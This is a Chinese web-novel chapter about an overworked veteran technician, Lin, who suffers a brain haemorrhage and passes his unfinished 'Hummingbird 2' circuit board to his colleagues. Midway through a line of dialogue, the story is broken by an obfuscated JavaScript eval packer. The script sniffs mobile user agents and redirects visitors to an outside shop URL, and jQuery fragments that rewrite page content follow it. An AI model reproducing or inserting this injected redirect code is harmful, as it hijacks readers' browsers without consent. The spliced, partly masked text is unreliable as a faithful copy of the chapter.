王卫国看向急救室的门。
门关着，上面的红灯亮着。
他站在那儿，一动不动。
秦岳走过来，小声说。
“队长，林工他……他今天在车间调试设备，从早上一直干到下午。我们都劝他休息，他不听。说就差最后一点了，调试完就歇。”
他的声音越来越低。
“下午五点多，他忽然捂着脑袋，晃了一下。我们扶他坐下，他说没事，就是有点晕。结果刚坐下，人就歪了……”
王卫国没说话。
他想起自己每次去车间，林工总是最后一个走。
有时候凌晨两三点，还看见他在工作台前焊电路。
他说过多少次“早点休息”，林工答应过多少次“好的好的”。
可第二天，他还是最早来的那个。
抢救持续了六个小时。
凌晨三点，急救室的门开了。
医生走出来，摘下口罩，脸上带着疲惫。
“谁是家属？”
王卫国上前一步。
“我是他领导。什么情况？”
医生说。
“病人脑溢血，出血量比较大。我们做了手术，暂时保住了命。但是……”
他停顿了一下。
“但是右半身偏瘫。以后……可能下不了床了。”
走廊里一片死寂。
老陈背过身去，肩膀在抖。
秦岳靠着墙，慢慢滑下去，蹲在地上。
王卫国站在那里，像被钉住了一样。
良久，他开口。
“能看看他吗？”
医生点点头。
“可以。但别太久，他需要休息。”
重症监护室里，林工躺在床上。
身上插满了管子，脸上戴着氧气面罩。
眼睛闭着，脸色苍白得像纸。
王卫国走过去，在床边坐下。
他看着那张脸。
那张脸上，刻着深深的皱纹。
那些皱纹里，有几十年的风霜，有无数个不眠之夜，有他亲手焊过的每一块电路板。
他忽然想起，自己从没问过林工的全名。
一直叫他林工，林师傅。
就像车间里所有人一样。
他叫什么？
老家在哪？
有没有家人？
**。
只知道他是老师傅
王卫国伸出手轻轻握住林工的左手。
那只手很凉指节粗大掌心全是老茧。
虎口处有一道深深的疤痕不知道是哪年哪月留下的。
他握着那只手很久没动。
林工的眼皮动了动。
慢慢睁开眼。
看见王卫国他的眼睛里有了一丝光。
嘴唇动了动想说什么。
但氧气面罩挡着声音含糊不清。
王卫国凑近。
“林工您别说话。好好养病。”
林工摇摇头。
他用左手抓住王卫国的手很用力。
然后慢慢抬起左手指向床头柜的方向。
王卫国顺着看去。
床头柜上放着一个布包。
很旧洗得发白了上面还有油污的痕迹。
他拿过来打开。
里面是一块电路板。
巴掌大小密密麻麻焊满了元件。
焊点饱满线路清晰做工比之前任何一台样机都精细。
旁边还有一张纸条。
字迹歪歪扭扭像是用左手写的。
“蜂鸟二号最后一版。就差一点我没焊完。老陈他们能接上。”
王卫国看着那块电路板看着那张纸条。
眼眶忽然有些发酸。
他抬起头看着林工。
林工看着他眼睛里有一种说不清的东西。
是遗憾。
是不舍。
也是放心。
王卫国握着那块电路板握得很紧。
“林工您放心。这板子我们一定焊完。”
林工点点头。
然后他闭上眼睛又睡过去了。
王卫国在床边坐了很久。
直到护士进来说探视时间到了。
他站起来把那块电路板小心地包好放进贴身的口袋里。
然后他弯下腰在林工耳边轻声说。
“林工，谢谢您。
林工没动，也不知道听没听见。
王卫国站直身体，看了他最后一眼。
然后转身，走出病房。
走廊里，老陈他们还在。
看见王卫国出来，都围过来。
“**，林工他……
王卫国说。
“人保住了。但以后……
他没说完。
但所有人都懂了。
老陈低下头。
秦岳的眼眶红了。
王卫国从口袋里取出那块电路板。
“这是他今天焊的。‘蜂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229813|184587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸟二号’最后一版。
他把电路板递给老陈。
“老陈，你来接上。把它焊完。
老陈接过那块板子，手在抖。
他看着那些密密麻麻的焊点，看着那些林工亲手装上的元件。
忽然，他背过身去。
肩膀剧烈地抖动。
没人说话。
走廊里很静。
只有远处传来的、监护仪器的滴答声。
第二天下午，王卫国回到车间。
林工的位置空着。
工作台上，还摊着他没焊完的电路。
旁边放着他常用的那把电烙铁，手柄上缠着胶布，已经磨得发亮。
老陈坐在那个位置前，手里拿着那块电路板，正在仔细看。
见王卫国进来，他抬起头。
“**，我看了。就差最后三级放大电路。林工把前面都焊完了，剩下的按他的路子接上就行。
王卫国走过去，站在他旁边。
老陈低下头，继续看那块板子。
看了一会儿，他忽然说。
“**，林工这辈子，值吗？
王卫国看着他。
老陈没抬头，声音很低。
“他年轻的时候，参加过那个大项目。后来项目下马，他回地方，在厂里干了一辈子。退休了，又被请来，没日没夜地干。
“他没成家。没儿没女。就一个人，住在矿区那间小屋里。每天就是上班，下班，吃饭，睡觉。
“他跟我说过，这辈子没什么出息，就会焊电路。
老陈抬起头，看着王卫国。
“**，他焊了一辈子。焊出什么了？
王卫国沉默了一会儿。
然后他指着那块电路板。
“焊出这个了。
他指着车间里那些设备。
“焊出那些了。
他指着窗外，远处训练场上正在训练的战士们。
“焊出他们的命了。
老陈看着他。
王卫国说。
“林工焊的每一块电路，都装在咱们的夜视仪里，装在‘蜂鸟一号’里，装在那个非金属探测器里。
“那些东西，在边境上救了多少人的命，咱们不知道。但每救一个人，就有林工的一份。
他顿了顿。
“老陈，这还不够吗？
老陈低下头，看着那块电路板。
看了很久。
然后他拿起电烙铁。
“够。太够了。